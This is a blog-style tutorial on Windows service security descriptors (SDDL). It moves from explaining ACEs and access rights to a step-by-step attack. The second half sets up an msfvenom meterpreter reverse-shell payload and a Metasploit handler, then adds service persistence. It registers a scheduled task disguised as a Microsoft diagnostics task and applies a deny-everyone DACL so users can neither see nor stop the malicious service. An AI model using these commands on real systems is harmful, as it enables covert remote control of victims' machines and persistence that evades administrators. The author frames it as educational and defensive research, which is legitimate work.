Definition
In Windows, every named object has a security descriptor, which contains the security settings for an object.
A security descriptor has two separate Access Control List: a System ACL (SACL) and a discretionary ACL. SACL determine which operation on an object is logged. DACL determine which user can perform a particular operation on the object.
In this case, we will more focus on the DACL, that contains Access Control Entry (ACE) which mainly describe the following information :
- Allowed or Denied
- Set of access rights
- Security ID (SID)
The Security identifier determines who the Access Control Entry applies to, it can be a user or a group.
The language SDDL (Security Descriptor Definition Language) defines the string format used to describe a security descriptor. The four main components of a security descriptor are owner (O:), primary group (G:), DACL (D:), SACL (S:).
Let’s create a service to understand a bit more how does it work.
Windows Services
Most of the Windows services can be found just by researching on your Windows search bar "Services".
Creating a service in Windows can be done by using the command sc.exe
sc.exe create mysvc displayname=”myservice” binpath=”C:\Users\Hakkyahud\Desktop\work.exe”
To confirm that your service has been correctly created, you can list all the services present in the system.
sc queryex type=service state=all
There are other ways to find your service like opening task manager and click on the tab "Services".
Or using WMI to query the services.
Get-WmiObject -Class Win32_service | findstr mysvc
SDDL & Services
We have quickly defined the services and SDDL, how about we check the permission of a service ?
Let's take a native service that can be started or stopped.
To start a service:
sc start [ServiceName]
The service cannot be run by a normal user, how can we give the right to the user ?
First let's check the SDDL of the service to understand more closely what permission it has.
sc sdshow [ServiceName]
D: indicate the DACL, followed by several ACEs and the S: indicate the SACL.
We will focus on the DACL part, the format of an ACE is:
(ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid)
Let’s take the first ACE:
(A;;CCLCSWRPWPDTLOCRRC;;;SY)
SDDL for Windows services
A - ALLOW
D - DENY
CC – SERVICE_QUERY_CONFIG – ask the SCM for the service’s current configuration
LC – SERVICE_QUERY_STATUS – ask the SCM for the service’s current status
SW – SERVICE_ENUMERATE_DEPENDENTS – list dependent services
LO – SERVICE_INTERROGATE – ask the service its current status
CR – SERVICE_USER_DEFINED_CONTROL – send a service control defined by the service’s authors
RC – READ_CONTROL – read the security descriptor on this service.
RP – SERVICE_START – start the service
WP – SERVICE_STOP – stop the service
DT – SERVICE_PAUSE_CONTINUE – pause / continue the service
IU - NT AUTHORITY\INTERACTIVE
SU - NT AUTHORITY\SERVICE
SY - NT AUTHORITY\SYSTEM
BA - BUILTIN\ADMINISTRATEUR
WD - Everyone
So the ACE indicates that it allows the user NT AUTHORITY\SYSTEM to almost every right on the service. Among the access control entries, there isn't any indicating that a specific user can start a service.
If we want to give the permission to start the service to a user, we must retrieve his SID.
Let’s add the following SDDL to give the permission to start and stop a service (A;;WPRP;;; S-1-5-21-320533732-2754806046-4003924088-1001).
After adding the new access control entry, the user can start and stop the service.
Hiding Windows services
How about we get more stealthy and attempt to hide some services. The permission "LC" will ask the Service Control Manager the current status of a service, but I've noticed that by denying this permission, the service will disappear.
Let's add the following ACE to the DACL of Xblgamesave service : (D;;LC;;;S-1-5-21-320533732-2754806046-4003924088-1001)
Once this ACE has been added, the service will be invisible for the user.
Check with sc.exe :
Check with WMI :
Check in Task Manager :
Moreover by denying the right to ask the Service Control Manager the current status of the service, the user cannot start or stop the service.
Therefore if we want that the service to not be found, or to not able to get stopped by any user, simply add those ACE in the first position / order of the ACEs :
(A;;RP;;;SY)(D;;CCLCSWWPDTLOCRRC;;;WD)
This access control entry deny everyone to request for the service current configuration, current status, check depedencies, stop the service, pause the service and read the SDDL.
We allow to start the service by the SYSTEM, so that we can set a schedule task to run the service everytime that a user is logging in the system for example.
An attacker that has compromised an account with some administrative rights can easily hide a service from the victim.
Let's do something more practical to see what a malevolent administrator or an attacker that has administrator privileges can do. For the following POC, I have to disable any host-based detection system, because metasploit is easily flagged by them.
Creating a malicious service
First, we need a malicious payload. To generate one, use
msfvenom.
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.80.134 lport=4444 dangerousexploit.exe
Then host the payload on a python HTTP server. The payload has to be stored on the directory that you have started your python server, in my case
/root/http
python3 -m http.server 8000
Start Metasploit and configure it to listen on the port 4444.
msfconsole
use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp Make sure the payload is similar as the one generate by msfvenom.
set LHOST 192.168.80.134 Your own IP address
set LPORT 4444
exploit
The configuration of metasploit must contained the same information that you have set when you have generated the payload with msfvenom.
Now that we have compromised the system, let's move on the persistence. For our case, we will create a service and a schedule task.
Exit the interactive session without killing the session by typing
background.
Create a service with Metasploit :
use post/windows/manage/persistence_exe
set SESSION 5 Check the session ID when your have typed background
set STARTUP SERVICE
set LOCALEXEPATH C:\\temp
run
The service created on the Windows system is called swHrOyUa.
To return back to the meterpreter interactive session :
sessions -i [ID]
We will check our installed service, open cmd from meterpreter.
execute -f cmd.exe -i -H The parameter H is to hide the cmd window
We create a scheduled task for the persistence that starts the service when any user is loging in the system.
Using PowerShell :
$taskname = “Microsoft\Windows\Diagnosis\WinUserDataSvc”;$description = “Run this service to monitor user actions”;$action = New-ScheduledTaskAction -Execute “cmd.exe” -Argument “/k sc start swHrOyUa” -WorkingDirectory “%windir%\System32”;$trigger = New-ScheduledTaskTrigger -AtLogon;$settings = New-ScheduledTaskSettingsSet;$settings.CimInstanceProperties.Item(‘MultipleInstances’).Value=3;$principal = New-ScheduledTaskPrincipal -UserId “System” -RunLevel “Highest”;Register-ScheduledTask -Action $action -Principal $principal -Trigger $trigger -TaskName $taskname -Description $description -Settings $settings
Let's change the permission of the malicious service, replace the SDDL by
D:(A;;LCRP;;;SY)(D;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
sc sdset swHrOyUa "D:(A;;LCRP;;;SY)(D;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
This will deny all the rights for every user except for the SYSTEM that can run the service because the first DACL has the priority on the second and forth.
Let's test if this is working. First, shutdown the victim system which will lead to killing our meterpreter session.
Once it is dead, listen again on the port 4444 then start the system and log in with any user.
Boom, the service run automatically after any user log in this system and I become SYSTEM :).
In conclusion, you have seen that manipulating the Security Descriptor Definition Language can restrict many accesses on Windows named objects. For an attacker to accomplish this, he needs to compromise the system and get administrator privilege. For this POC, it is only for educational purpose, it will be flagged by any host based detection if you're trying to do it. But for an malevolent administrator that already has elevated privileges, he can easily restrict access to some objects and avoid being caught by modifying the SDDL.
We will see in another article, how to catch and detect this kind of behavior.